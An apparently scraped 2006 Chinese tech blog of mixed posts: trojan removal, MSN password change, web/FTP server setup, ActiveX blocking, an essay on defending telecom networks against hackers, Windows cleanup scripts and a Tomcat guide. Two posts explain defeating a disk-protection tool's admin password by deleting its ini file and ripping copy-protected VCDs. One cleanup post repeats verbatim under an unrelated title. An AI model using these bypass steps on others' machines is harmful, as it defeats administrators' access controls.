Trojan.PowerSpider.ac 破坏方法:密码解霸V8.10。又称“密码结巴”。偷用户各种密码,包含:游戏密码、局域网密码、腾讯QQ账号和密码、POP3 密码、Win9x缓存密码及拨号账号等等。这个木马所偷密码的范围很广,对广大互联网用户的潜在威胁也巨大。

现象:

1、系统进程中有iexplore.exe运行,注意,是小写字母;

2、搜索该程序iexplore.exe,不是位于C盘下的PROGRAMME文件夹,而是WINDOWS32文件夹。

解决办法:

1、到C:\\WINDOWS\\system32下找到ixplore.exe 和 psinthk.dll 完全删除之。

2、到注册表中,找到HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion \\Run “mssysint”= iexplore.exe,删除其键值。




原来MSN的密码可以通过其主站直接修改,但由于某些合并的问题,所以他(MSN,LIVE)修改密码就更困难了。

下面提供了两种方法:

1.给你一个网站直接登录后,输入你的msn用户名和密码就可以修改了。

2.教你如何一步一步的进入MSN修改密码的提示框。

希望对大家有帮助。

1.直接登录:https://account.live.com/ (推荐)

2.通过MSN进入的详细办法:

登录http://www.msn.com/

在的图标下面是频道列表,再下面是MSN 服务里面有一项叫MSN 客户服务。点击后会弹出一个页面,在这个图标下面你会找到“重新设置密码”,页面会变成一个白色的问题和回答。这是一个MS解答用户的页面,在这个页面下边更改密码才是我们的需要的。

单击后会进入另一个问题就是更改密码。这样我们可以通过点击“1.登录帐户服务。”等待一会,输入你的用户名(Email)和密码就可以进入了。登录成功后点击更改密码就可以修改密码。

Tags:

这种VCD光盘都不能在电脑CD光驱上看,通过设备管理器进入也不能显示任何文件。就算能看也只有一面可以。下面我就介绍一种VCD加密技术和破解方法。

人工光盘坏道是目前最新最常用的加密方法,原理是该VCD带防盗圈,这个圈的作用是在光头读盘到防盗圈处时是个坏道,从物理上让光驱读不过去,你会发现光盘可以显示容量,但打开目录却没有任何文件,市面上的最新VCD都是采用这种加密方法。象我想拷的正版神勇铁金刚,无间道3就是这种方法。

安装豪杰解霸3000零售版或者豪杰超级解霸8.0完全安装。其实任何版本的豪杰解霸可以,其实只要其中的一个工具“MP3数字CD抓轨”,打开之,放入加密光盘。打开软件,找到VCD所在的光驱,选择轨道中最大的那个文件,在确定你要保存文件的路径。其他的选择就自己看着办吧。点击“开始读取”,稍等几分钟。

完毕,打开你保存的文件目录,会发现有个后缀名为.RAW的文件,那就是你要看的有图像、有声音的VCD了,用Windows Media Player看吧!

Tags:

超级保镖从面市以来就受到了广大电脑爱好者的欢迎,它的磁盘保护功能是让人惊叹的,有一句话说的是“有利就有弊”,这么强大的功能一定也有弊的一面。

如果您忘记了超级保镖的系统管理员密码,那您就不能进入超级保镖的高级用户设置,更改超级保镖的系统设置了,后果就不用我多说了吧,您一定知道的!

我觉得超级保镖的密码是它最脆弱的一面,超级保镖的密码是保存在超级保镖所在的文件夹中的sysmode.ini文件。如果您是用记事本查看该文件内容,密码是被隐藏了的,能不能把密码读出来呢?小生才疏学浅没办法做到,但可以把它破解。其实,破解超级保镖的密码一点也不难,只要会操作电脑的人士都能做到。

密码破解方法如下:

首先,找到超级保镖所在的文件夹(超级保镖默认的文件夹名称为:SafeDisk);

其次,找到超级保镖文件夹中的 sysmode.ini文件;

再次,将sysmode.ini删除,并重新启动计算机;

最后,进入Windows后,在Windows的系统栏点击"超级保镖"图标,进入高级用户设置,重新设定密码并保存就行了。

是不是很简单,希望我的这一招能对您有所帮助。



Tags:

ADSL+花生壳+Serv-U建个人网站

[ 2006/11/26 16:00 | by pling ]
我是上海电信ADSL宽带用户,使用中兴ADSL 831 MODEN 上网。
本人年岁已大,在技术上不求甚解,就依样画葫芦,经过二周努力初步组建了个人网站,供大家参考。具体如下:
一、安装Win2000服务器版,把自己需要装的软件都装好,有关网络的设置放在最后再进行比较好。
二、申请花生壳域名和安装花生壳软件。
三、设置WEB服务器
我们知道安装好WIN2000系统后,系统重启会自动出现“Windows2000 配置您的服务器”向导对话框,我们可以选择“以后配置这个服务器”把他关闭。然后设置自己的WEB服务器。
首先在D盘或其他分区建立一个如myhost之类的文件夹用于放置自己的网站。
建立站点的过程是:
依次执行“开始”--“程序”--“管理工具”--“Internet服务器管理器”,在打开的Internet信息服务窗口中,右键点击“默认WEB站点”,选择“属性”进入“默认 Web 站点属性”对话窗口。先进“主目录”项通过“浏览”键把原先建立在D:\myhost 输入“本地路径”框中;再进“文档”项通过“添加”键把index.htm、index.html和index.asp输入“启用默认文档”框内。最后确定退出。
此时打开浏览器在地址框里输入http://localhost 就能看到myhost文件夹里的网页了。
四、设置FTP服务器
启动Serv-U(我使用的汉化版),右键点击“域”--选择“新建域”--在出现的对话框里,域 IP 地址空着不填(因为我们没有静态IP地址)直接下一步--在出现的对话框里输入“花生壳”申请的域名再下一步--端口默认“21” 下一步--新建域就成了。
接下来右键点击“用户”--选择“新建用户”--在接下来出现的对话框里一一填入用户名“XXXX”、密码“****”、“用户主目录”--最后选择“锁定用户于主目录”完成。
最后选中具体的用户设置该用户权限,进入“目录访问”项,除了“执行”一项不打勾外,其余一般都可打勾;进入“配额”项,你可以制定该用户磁盘配额大小。
这样您的朋友使用CuteFTP软件,上传网站文件到您的服务器了。
URL:“花生壳”申请的域名,
NAME: XXXX,
PASSWORD: ****
(以上均为原先在Serv-U内设定的内容)

另外Serv-U 还有一项显示本机IP地址的功能,在工具栏打开“帮助”项,选中本地IP地址就能显示本机IP地址。

我申请的“花生壳”域名为shhost.vicp.net, 分别输入shhost.vicp.net/acca 或 shhost.vicp.net/host ,可以打开二个不同的网站。
相信很多上网用户对图1所示的窗口并不会陌生,很多网站为了招揽更多的软件用户,就在首页中增加了安装相应软件的ActiveX插件,这样我们在第一次访问时都是出现这些提示(如图1)。即使取消安装,下次访问该站时,它仍会弹出来骚扰我们。不过,如果我们手上有了NotTroubleMe这把利剑,那完全可以大声说……点击在新窗口中浏览此图片
 小知识 什么是ActiveX插件

  根据微软权威的软件开发指南MSDN的定义,ActiveX插件以前也叫做OLE控件或OCX控件,它是一些软件组件或对象,可以将其插入到网页或其他应用程序中。ActiveX插件技术是Windows上的通用软件技术,除了大家熟悉的3721网络实名外,许多软件均采用此种方式开发,例如Flash动画播放插件、Microsoft MediaPlayer插件、CNNIC通用网址插件等。

  NotTroubleMe小档案

  软件版本:1.2 软件大小:8KB

  软件性质:免费软件 适用系统:Windows 9x/Me/NT/2000/XP

  NotTroubleMe中文名叫“别烦我”,软件无需安装即可运行,操作简单,而且可随意添加欲屏蔽的ActiveX插件,实用性大大地增强了。

  第一步:屏蔽ActiveX插件

  运行NotTroubleMe,你会发现列表框中显示了能够进行屏蔽的ActiveX插件,勾选欲屏蔽的ActiveX插件(如图2),单击“确定”按钮,然后执行注销操作,再次进入系统后,修改便开始生效了。
点击在新窗口中浏览此图片
第二步:添加ActiveX插件黑名单

  由于NotTroubleMe是通过禁止调用相应的ActiveX插件来实现对3721、CNNIC、Baidu等ActiveX插件封锁的,而每个ActiveX插件都有“CLSID”,只要找到了欲屏蔽的ActiveX插件的CLSID,问题迎刃而解。当访问“3721中文邮”首页时,会弹出3721中文邮的ActiveX插件安装窗口,我们单击“否”按钮关闭。此时单击IE浏览器菜单“查看→源文件”,在弹出的文本窗口中查找关键字“clsid”。我们将会看到“clsid”后面紧跟了类似“4EDBBAEA-F509-49F6-94D1-ECEC4BE5B686”的字符串,该字符串就是“3721中文邮”ActiveX插件的CLSID(如图3)。我们将它复制下来,接着切换到“NotTroubleMe”窗口,单击“新建”按钮,在“名字”框中为该ActiveX插件取个名称,然后将复制来的CLSID粘贴到“CLSID”框中,单击“确定”按钮保存即可。根据上述方法,你可以添加更多的ActiveX插件到“NotTroubleMe”里。

点击在新窗口中浏览此图片
Tags:

防范黑客攻击策略详细分析

[ 2006/09/05 19:06 | by pling ]
本文通过电信IP网的特性,分析了黑客攻击对电信IP网的安全威胁,介绍了黑客攻击电信IP网的手段及防范措施,最后讨论了电信IP网如何建立防范黑客攻击的安全防范策略。

  1 引言

  电信网从原来电话交换为主的话音业务正全面向语音、数据、多媒体等综合业务的平台转变。IP技术成为下一代电信网络的关键技术,传统电信网由于其自身的封闭性,安全问题并不是很突出,但是以IP为基础协议的下一代网络已经开始必须面对以往只是在IP网上才会出现的网络安全问题。在威胁我国电信IP网的众多因素中,黑客攻击是其中最为重要的一种,在我国电信IP网中曾出现过遭黑客攻击的案例,如近日某企业员工通过参与某移动公司项目得到了系统的密码,继而侵入移动公司充值中心数据库,盗取充值卡密码,给移动公司带来了370余万元的损失。

  近年来,黑客对电信网络的攻击给社会带来了极大的损害,随着黑客攻击技术的不断发展,网络和系统漏洞的不断出现,黑客群体的变化,社会对网络的依赖性提高,未来黑客攻击手段越来越隐蔽,破坏力将越来越大,攻击行为也将变得越来越复杂和难于防范。2006年世界电信日的主题是:让世界网络更安全。我国信息产业部也根据这个主题开展了一系列的主题活动,从而可以看出网络安全已经成为电信发展中的一个重要问题。本文就黑客攻击的手段和防范的策略给出简单的分析。

  2 黑客攻击对电信IP网的安全威胁分析

  在《中华人民共和国电信条例》中,对电信网络安全方面,针对现实中危害较大的计算机病毒、黑客等情况,做了禁止性的规定。其中在第五十八条规定了任何组织或者个人不得有四类危害电信网络安全和信息安全的行为,其中第三类中就是故意制作、复制、传播计算机病毒或者以其他方式攻击他人电信网络等电信设施。这个其他行为目前主要是指黑客攻击。黑客通过遍及全球的IP网侵入通信系统,截取通信安全方面的信息资料,他们篡改信息、替换网页、下载或盗取敏感信息、攻击主机和网络、发送邮件炸弹或使网络瘫痪。黑客攻击一旦得逞,小则瘫痪网络的某项服务,大则造成短时间内无法恢复的整个网络的瘫痪,造成巨大的损失。黑客之所以能够对电信IP网造成威胁,主要有以下几点原因:

  (1)技术方面:IP协议设计中的错误和疏忽使得网络先天不足,为黑客攻击提供了条件。例如,IEEE802.11b 中出现的WEP漏洞,还有由于TCP/IP协议缺乏相应的安全机制,且IP网最初设计基本没有考虑安全问题等等都使得电信网络存在先天不足。随着软件系统规模的不断增大,各种系统软件、应用软件变得越来越复杂,电信设备厂商、集成商和运营商的软件中心在开发和实现过程中不可避免的会出现各种缺陷和漏洞,这使得黑客可以利用这些漏洞对电信IP网进行攻击。

  (2)管理方面:缺乏完整统一的安全策略,缺乏完善的、切实可行的管理和技术规范,为黑客“钻空子”提供了便利。很多网络在建设初期,发展的方向都倾向于网络的便利性和实用性,忽略了至关重要的网络安全性,为以后的发展埋下了隐患。有些地方缺乏合理安全的网络设计规划和配置,防火墙的配置也不够严密,这些都为黑客攻击提供了方便。

  (3)人力方面:缺少网络安全方面的专职人员,并且各运维人员安全意识、安全水平上也存在着很大的差别,有些黑客居然可以冒充管理人员通过打电话而问到网络的密码,这些都成为黑客攻击电信IP网的手段,所以提高运维人员的安全水平和安全意识对各个运营商来说是刻不容缓的事情。

  3 黑客攻击电信IP网手段和防范措施

  黑客攻击手段按照结果分可分为二类:本地攻击和远程攻击;按照侵入的深度可大致分为:表层攻击、读访问、非根式的写与执行访问、根式的写和执行访问;按照系统遭受攻击的程度又可分为六个层次:第一层是邮件炸弹攻击和服务拒绝攻击、第二层是本地用户获得非授权读访问、第三层为本地用户获得非授权文件的写权限、第四层是远程用户获得非授权的帐号和远程用户获得文件的读权限、第五层是远程用户获得特许文件的写权限、第六层是远程用户获得根权限。几种分类的关系如图1所示。

点击在新窗口中浏览此图片

 图1 黑客攻击电信IP网手段的几种分类的关系
  常见的黑客攻击电信IP网的手段主要有:口令破解等解码类攻击、恶意代码攻击、后门程序的攻击、拒绝服务类攻击、邮件炸弹、邮件列表类炸弹攻击、通过 IP包进行攻击、通过操作系统漏洞对电信网进行攻击、缓冲区溢出和远程缓冲区溢出攻击、网络服务漏洞攻击等等。这里对几种常见黑客攻击手段进行分析。
  3.1 口令破解等解码类攻击
  口令攻击是黑客最常用的攻击方法之一。黑客通过口令破解软件破解服务器账号口令,由于管理员事安全意识不强,使得该方法简单而且行之有效。对于口令破解的攻击,在设置口令时应注意不要使用过于简单的密码;不要在不同的账号里使用相同的密码;应保守密码口令并经常有规律的更换;每隔一段时间要把所有的密码都更换一次;及时的取消调离或者停止工作职员的账号以及无用的密码;在验证过程中,口令不能以明文方式传输,也不能以明文方式存放在系统中。
  3.2 恶意代码和后门程序的攻击
  恶意代码包括病毒、蠕虫、特洛伊木马等,后门程序是系统调试后预留的或黑客攻击系统之后为方便再次进入而开启的守候进程或隐蔽通道,是攻击者绕过安全性控制而获取对程序或系统访问权的方法。对于特洛伊木马这种黑客程序,可以采用专门的查找软件,检测和清除系统中隐藏的木马程序。
  3.3 拒绝服务类攻击
  该类型攻击是目前电信网中最常遭受的攻击之一,就是让服务器的CPU过载、磁盘饱和、内存不足等等,包括拒绝服务攻击和分布式拒绝服务。攻击目的有两种:占用大量的带宽和攻击脆弱服务器。前者的攻击手段有:SYN Flood攻击、Ping Flood攻击、Land攻击、WinNuke攻击等,甚至利用路由协议的漏洞制造网络风暴等,通过短时间内向目标系统发送大量的数据包而导致网络流量堵塞,从而达到阻止目标主机大部分服务的功能。对Land攻击和WinNuke攻击,适当配置防火墙设备或过滤路由器的过滤规则就可以防止这种攻击行为(一般是丢弃该数据包),并对这种攻击进行审计。对Ping Of Death攻击和Teardrop攻击,要添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。对于某些较复杂的入侵攻击行为(如分布式攻击、组合攻击)不但需要采用模式匹配的方法,还需要利用状态转移、网络拓扑结构等方法来进行入侵检测。
  3.4 通过操作系统漏洞对电信网进行攻击
  现在电信网中主机设备大部分使用UNIX系统,这也使得黑客可以通过机器操作系统的一些漏洞对电信网进行攻击。包括操作系统本身的体系结构的不安全、进程管理机制中的缺陷,还有操作系统提供的远程调用服务和特意安排的系统漏洞也是不安全因素之一。黑客通过黑客软件针对操作系统的薄弱环节,对网络设备进行非正常或越权使用,使系统的安全机制收到威胁,或者利用各种假冒和欺骗的手段,如IP地址欺骗等,非法获得合法用户的使用权,致使操作系统对资源分级分权管理的失效。对于操作系统出现漏洞,系统需要及时添加补丁程序和进行安全性能优化配置工作。
  3.5 缓冲区溢出和远程缓冲区溢出
  是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区溢出,黑客可以获得其他用户或组的非授权读、写的访问。缓冲区溢出攻击占了远程网络攻击的绝大多数。目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响。首先,要编写正确的代码;其次,数组边界检查能防止所有的缓冲区溢出的产生和攻击;再次,要对程序指针进行完整性的检查;最后,通过操作系统使被攻击程序的数据地址空间不执行,从而使得攻击者不能执行被植入被攻击程序输入缓冲区的代码。  
  4 电信IP网防范黑客攻击的安全体系
  网络安全威胁和防范一直是电信运营商十分关注的问题。要做好电信IP网防范黑客攻击的安全防护,需要从人力、技术、管理、和安全立法几方面采取措施,以建立有效的安全防护体系。
  有效的防范黑客攻击安全体系的实现需要三方面的努力:
  (1)技术上:黑客攻击的多样性决定了防范技术也必须采取多层次、全方位的防御体系。包括先进的、不断更新和完善的安全工具、各种软硬件设备、管理平台和监控系统。主要包括防火墙、安全扫描、评估分析、入侵检测、入侵取证、陷阱网络、备份恢复和病毒防治等。
  (2)管理上:黑客攻击的技术手段越来越高明,但是不可否认,有些黑客攻击之所以可以成功在于网络管理上的疏忽和漏洞。所以要建立有效的防范黑客攻击的安全体系需要严密完善的安全技术规范、管理制度、高水平的安全技术人才和高度的工作责任心。其中包括建立定期检查制度、建立包机或网络安全专人负责制、建立安全事故及时上报制度、建立定期备份制度、建立口令定期修改制度等等。
  (3)规划上:网络技术迅猛发展,也使得黑客攻击技术不断发展,网络管理者要做好防范工作的同时也要做出正确合理的网络结构设计、规划和组织,做到防范于未然。对新的技术和产品的研发要早作准备,深入调研国内外电信IP网安全的状况,了解黑客技术的进展,在广泛融合的基础上做出前瞻性的规划,培养相关领域的人才。
  5 结束语
  电信网是公网,是国家关键基础设施的重要组成部分,对可靠性和安全性要求极高,是人们向信息社会迈进的基石,与人们的工作、生活息息相关,因此无论政府、运营商还是用户,都应酶嗟毓匦牡缧磐绲陌踩侍狻V挥辛私饬说缧臝P网安全的现状、熟悉黑客攻击的基本手段、建立安全有效的防范体系,电信网才能成为高效率、可靠、可信赖的通信平台。

捆绑执行文件新思维

[ 2006/09/05 19:01 | by pling ]
使用Windows久了,系统就会出现垃圾,或者我们不想让别个看到我们的电脑操作记录,那么用自动清理是最好的方法,下面就给大家讲一些这方面的技巧。

  启用过时资源记录自动清理

  1. 打开 DNS。

  2.在控制台树中,右键单击适当的 DNS 服务器,然后单击“属性”。

  3. 单击“高级”选项卡。

  4. 选中“启用过时资源记录自动清理”复选框。

  5. 要调整“清理周期”,请在下拉列表中选择以小时或天为单位的时间间隔,然后在文本框中键入一个数。

  注意

  要执行该过程,您必须是本地计算机上 Administrators 组的成员,或者您必须被委派了适当的权限。如果计算机已加入某个域,则 Domain Admins 组的成员可能会执行该过程。作为安全性最佳操作,请考虑使用“运行方式”执行此过程。详细信息,请参阅默认本地组、默认组以及使用“运行方式”。

   要打开“DNS”,请依次单击“开始”和“控制面板”,双击“管理工具”,然后双击“DNS”。

  让XP关机时自动清理页面文件

  使用电脑时,一些Word文档或者打开的网页等就会被载入到内存,而为了节省出内存空间,Windows会把不同的文件放到系统的页面文件中,页面文件就象一个临时仓库。微软提供了一种方法可以在关闭Windows XP时自动清理页面文件,默认情况下这一功能是关闭的,下面我们将介绍如何启用这一功能。不过要注意的是,启用这一功能后,因为要执行清理操作,所以关机时间将会变长。(相关文章:XP网络不能互访的解决之道)

  操作步骤

  1.单击“开始”菜单, 单击“运行”,在对话框中输入“Regedit”,然后单击“确定”,运行“注册表编辑器”。如果不熟悉注册表知识,可以先看一下这里。

  2.浏览到“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management”,然后在右边的列表中双击“ClearPageFileAtShutdown”。

  3.在弹出的“编辑DWORD”值对话框中,选择基数为十六进制,并将左边的“数值数据”改为1,这样就启用了关机时自动清理页面文件功能。

  4.重新启动计算机,使修改生效

  清除IE临时文件

  Windows或应用程序在运行时通常都会产生临时文件,虽然部分临时文件在Windows或应用程序正常退出时会被自动删除,但由于Windows的不稳定,或者是因为程序功能的不完善,经常会有临时文件成为“漏网之鱼”。这样,随着时间的推移,临时文件逐渐堆积,不仅占用了用户宝贵的硬盘空间,而且也极大地影响了系统的运行效率。下面,笔者就如何有效地删除临时文件给出两种方法,希望能给大家一些启示。

  方法一:打开“开始”菜单,选择“搜索→文件或文件夹”,然后在对话框的“要搜索的文件或文件夹名为”栏内输入“*.tmp”(tmp为临时文件的后缀名),在对话框的“搜索范围”栏的下拉列表中选择“本机硬盘驱动器”,单击“搜索选项”,勾选“高级选项”及其下的“搜索子文件夹”项,最后单击“立即搜索”按钮。待搜索完毕后,切换至“搜索结果”页面,按“Ctrl+A”组合键或选择工具栏菜单的“编辑→全部选定”项选择所有的文件,按“Del”键或选择工具栏菜单的“文件→删除”项,即可一次性删除用户计算机上所有以.tmp为后缀的临时文件。

  方法二:为了加快访问速度,IE会将曾经浏览过的网页等内容存放在Temporary Internet Files文件夹中。如果我们不希望他人从这里窥视自己的秘密,可以利用关机脚本让系统自动在关机前进行清理,这里介绍一下具体的操作(以Windows XP为例)。

  在“C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown”目录下,新建一个批处理文件Cleanup.bat,内容可根据需要编写。清除IE临时文件的命令为“DEL/Q/S "C:\Documents and Settings\<用户名>\Local Settings\Temporary Internet Files"”。其中参数/Q表示使用安静模式,即删除全局通配符时,不要求确认;参数/S表示从所有子目录删除文件。

  单击“开始” “运行”,在运行命令框中输入“Gpedit.msc”,打开组策略窗口。在左侧的控制台树窗格中,依次展开“计算机配置” “Windows设置” “脚本(启动/关机)”节点,双击右侧详细资料窗格中的“关机”项目,在弹出的“关机属性”对话框中点击“添加”按钮,将Cleanup.bat添加为新的计算机关机脚本。设置完成后,退出组策略窗口,重新启动计算机即可。

  方法三:打开“开始”菜单,选择“程序→MS-DOS方式”,用纯文本编辑器编辑Autoexec.bat文件(即在DOS方式下运行命令:“edit autoexec.exe”),在这个自动运行的批处理文件中,环境变量temp和tmp定义了Windows运行过程中临时文件的存储位置,默认位置为“\windows\temp”文件夹)。

  原Autoexec.bat文件为:

  SET COMSPEC=C:\WINDOWS\COMMAND.COM

  SET windir=C:\WINDOWS

  SET winbootdir=C:\WINDOWS

  SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND

  SET PROMPT=$p$g

  SET TEMP=c:\windows\temp

  SET TMP=c:\windows\temp

  经编辑后的Autoexec.bat文件为:

  SET COMSPEC=C:\WINDOWS\COMMAND.COM

  SET windir=C:\WINDOWS

  SET winbootdir=C:\WINDOWS

  SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND

  SET PROMPT=$p$g

  deltree /Y x:\temp(删除临时文件文件夹,其中x为该文件夹所在的驱动器)

  md x:\temp(创建临时文件文件夹,X为你的盘符)

  SET TEMP=d:\temp

  SET TMP=d:\temp

  文件编辑完毕后存盘即可。经过以上的设定,用户以后每次启动计算机都会自动删除临时文件。

  清除IE地址栏记录

  前面清除的IE历史记录还不够彻底,当我们在IE地址栏中输入与曾经输入过的URL一样的字符串时,仍会显示出相关的网址记录。要想清除这些记录,则必须将注册表[HKEY CURRENT USER\Software\Microsoft\Internet Explorer\TypedURLs]分支下的键值全部删除。

  用记事本创建一个脚本文件,脚本内容如下:

  Dim WSHShell

  Set WSHShell = WScript.CreateObject("WScript.Shell")

  WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\", ""WSHShell.RegDelete "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\"上述脚本共有四句:第一句定义一个变量WSHShell,第二句创建一个对象,第三句写入注册表,如果注册表中不存在该项,执行脚本时会出现错误提示。输入以上内容后将其保存为Cleanup.vbs。注意,后缀名一定要是vbs,这样才能保证脚本的正常执行。

  编写完成后,在组策略窗口中依次展开“用户配置” “Windows设置” “脚本(登录/注销)”节点,双击右侧窗格中的“注销”项目,在弹出的“注销属性”对话框中点击“添加”按钮,将Cleanup.vbs添加为注销脚本。这样,当计算机注销或关机时就会自动清除IE地址栏记录。

  前面介绍了利用关机和注销脚本自动清理上网痕迹的方法,如果你还有其它的项目需要清理,也可以参照上述方法。这里要提醒读者的是,利用脚本实现自动清理前,最好先用手工方式彻底清理一次。

  清除IE历史记录

  清除IE历史记录通常的方法是“Internet选项” “常规” “清除历史记录”。不过,我们同样可以利用关机脚本来实现自动清理。在前面建立的Cleanup.bat批处理文件中添加一条命令“DEL/Q/S "C:\Documents and Settings\<用户名>\Local Settings\History"”即可。
Tags:
使用Windows久了,系统就会出现垃圾,或者我们不想让别个看到我们的电脑操作记录,那么用自动清理是最好的方法,下面就给大家讲一些这方面的技巧。

  启用过时资源记录自动清理

  1. 打开 DNS。

  2.在控制台树中,右键单击适当的 DNS 服务器,然后单击“属性”。

  3. 单击“高级”选项卡。

  4. 选中“启用过时资源记录自动清理”复选框。

  5. 要调整“清理周期”,请在下拉列表中选择以小时或天为单位的时间间隔,然后在文本框中键入一个数。

  注意

  要执行该过程,您必须是本地计算机上 Administrators 组的成员,或者您必须被委派了适当的权限。如果计算机已加入某个域,则 Domain Admins 组的成员可能会执行该过程。作为安全性最佳操作,请考虑使用“运行方式”执行此过程。详细信息,请参阅默认本地组、默认组以及使用“运行方式”。

   要打开“DNS”,请依次单击“开始”和“控制面板”,双击“管理工具”,然后双击“DNS”。

  让XP关机时自动清理页面文件

  使用电脑时,一些Word文档或者打开的网页等就会被载入到内存,而为了节省出内存空间,Windows会把不同的文件放到系统的页面文件中,页面文件就象一个临时仓库。微软提供了一种方法可以在关闭Windows XP时自动清理页面文件,默认情况下这一功能是关闭的,下面我们将介绍如何启用这一功能。不过要注意的是,启用这一功能后,因为要执行清理操作,所以关机时间将会变长。(相关文章:XP网络不能互访的解决之道)

  操作步骤

  1.单击“开始”菜单, 单击“运行”,在对话框中输入“Regedit”,然后单击“确定”,运行“注册表编辑器”。如果不熟悉注册表知识,可以先看一下这里。

  2.浏览到“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management”,然后在右边的列表中双击“ClearPageFileAtShutdown”。

  3.在弹出的“编辑DWORD”值对话框中,选择基数为十六进制,并将左边的“数值数据”改为1,这样就启用了关机时自动清理页面文件功能。

  4.重新启动计算机,使修改生效

  清除IE临时文件

  Windows或应用程序在运行时通常都会产生临时文件,虽然部分临时文件在Windows或应用程序正常退出时会被自动删除,但由于Windows的不稳定,或者是因为程序功能的不完善,经常会有临时文件成为“漏网之鱼”。这样,随着时间的推移,临时文件逐渐堆积,不仅占用了用户宝贵的硬盘空间,而且也极大地影响了系统的运行效率。下面,笔者就如何有效地删除临时文件给出两种方法,希望能给大家一些启示。

  方法一:打开“开始”菜单,选择“搜索→文件或文件夹”,然后在对话框的“要搜索的文件或文件夹名为”栏内输入“*.tmp”(tmp为临时文件的后缀名),在对话框的“搜索范围”栏的下拉列表中选择“本机硬盘驱动器”,单击“搜索选项”,勾选“高级选项”及其下的“搜索子文件夹”项,最后单击“立即搜索”按钮。待搜索完毕后,切换至“搜索结果”页面,按“Ctrl+A”组合键或选择工具栏菜单的“编辑→全部选定”项选择所有的文件,按“Del”键或选择工具栏菜单的“文件→删除”项,即可一次性删除用户计算机上所有以.tmp为后缀的临时文件。

  方法二:为了加快访问速度,IE会将曾经浏览过的网页等内容存放在Temporary Internet Files文件夹中。如果我们不希望他人从这里窥视自己的秘密,可以利用关机脚本让系统自动在关机前进行清理,这里介绍一下具体的操作(以Windows XP为例)。

  在“C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown”目录下,新建一个批处理文件Cleanup.bat,内容可根据需要编写。清除IE临时文件的命令为“DEL/Q/S "C:\Documents and Settings\<用户名>\Local Settings\Temporary Internet Files"”。其中参数/Q表示使用安静模式,即删除全局通配符时,不要求确认;参数/S表示从所有子目录删除文件。

  单击“开始” “运行”,在运行命令框中输入“Gpedit.msc”,打开组策略窗口。在左侧的控制台树窗格中,依次展开“计算机配置” “Windows设置” “脚本(启动/关机)”节点,双击右侧详细资料窗格中的“关机”项目,在弹出的“关机属性”对话框中点击“添加”按钮,将Cleanup.bat添加为新的计算机关机脚本。设置完成后,退出组策略窗口,重新启动计算机即可。

  方法三:打开“开始”菜单,选择“程序→MS-DOS方式”,用纯文本编辑器编辑Autoexec.bat文件(即在DOS方式下运行命令:“edit autoexec.exe”),在这个自动运行的批处理文件中,环境变量temp和tmp定义了Windows运行过程中临时文件的存储位置,默认位置为“\windows\temp”文件夹)。

  原Autoexec.bat文件为:

  SET COMSPEC=C:\WINDOWS\COMMAND.COM

  SET windir=C:\WINDOWS

  SET winbootdir=C:\WINDOWS

  SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND

  SET PROMPT=$p$g

  SET TEMP=c:\windows\temp

  SET TMP=c:\windows\temp

  经编辑后的Autoexec.bat文件为:

  SET COMSPEC=C:\WINDOWS\COMMAND.COM

  SET windir=C:\WINDOWS

  SET winbootdir=C:\WINDOWS

  SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND

  SET PROMPT=$p$g

  deltree /Y x:\temp(删除临时文件文件夹,其中x为该文件夹所在的驱动器)

  md x:\temp(创建临时文件文件夹,X为你的盘符)

  SET TEMP=d:\temp

  SET TMP=d:\temp

  文件编辑完毕后存盘即可。经过以上的设定,用户以后每次启动计算机都会自动删除临时文件。

  清除IE地址栏记录

  前面清除的IE历史记录还不够彻底,当我们在IE地址栏中输入与曾经输入过的URL一样的字符串时,仍会显示出相关的网址记录。要想清除这些记录,则必须将注册表[HKEY CURRENT USER\Software\Microsoft\Internet Explorer\TypedURLs]分支下的键值全部删除。

  用记事本创建一个脚本文件,脚本内容如下:

  Dim WSHShell

  Set WSHShell = WScript.CreateObject("WScript.Shell")

  WSHShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\", ""WSHShell.RegDelete "HKCU\Software\Microsoft\Internet Explorer\TypedURLs\"上述脚本共有四句:第一句定义一个变量WSHShell,第二句创建一个对象,第三句写入注册表,如果注册表中不存在该项,执行脚本时会出现错误提示。输入以上内容后将其保存为Cleanup.vbs。注意,后缀名一定要是vbs,这样才能保证脚本的正常执行。

  编写完成后,在组策略窗口中依次展开“用户配置” “Windows设置” “脚本(登录/注销)”节点,双击右侧窗格中的“注销”项目,在弹出的“注销属性”对话框中点击“添加”按钮,将Cleanup.vbs添加为注销脚本。这样,当计算机注销或关机时就会自动清除IE地址栏记录。

  前面介绍了利用关机和注销脚本自动清理上网痕迹的方法,如果你还有其它的项目需要清理,也可以参照上述方法。这里要提醒读者的是,利用脚本实现自动清理前,最好先用手工方式彻底清理一次。

  清除IE历史记录

  清除IE历史记录通常的方法是“Internet选项” “常规” “清除历史记录”。不过,我们同样可以利用关机脚本来实现自动清理。在前面建立的Cleanup.bat批处理文件中添加一条命令“DEL/Q/S "C:\Documents and Settings\<用户名>\Local Settings\History"”即可。
Tags:

推荐:Tomcat JSP经典配置实例

[ 2006/09/05 18:56 | by pling ]
经常看到jsp的初学者问tomcat下如何配置jsp、servlet和bean的问题,于是总结了一下如何tomcat下配置jsp、servlet和ben,希望对那些初学者有所帮助。
  
  一、开发环境配置
  
  第一步:下载j2sdk和tomcat:到sun官方站(http://java.sun.com/j2se/1.5.0/download.jsp)下载j2sdk,注意下载版本为Windows Offline Installation的SDK,同时最好下载J2SE 1.5.0 Documentation,然后到tomcat官方站点(http://jakarta.apache.org/site/downloads/downloads_tomcat-5.cgi)下载tomcat(下载最新5.5.9版本的tomcat);
  
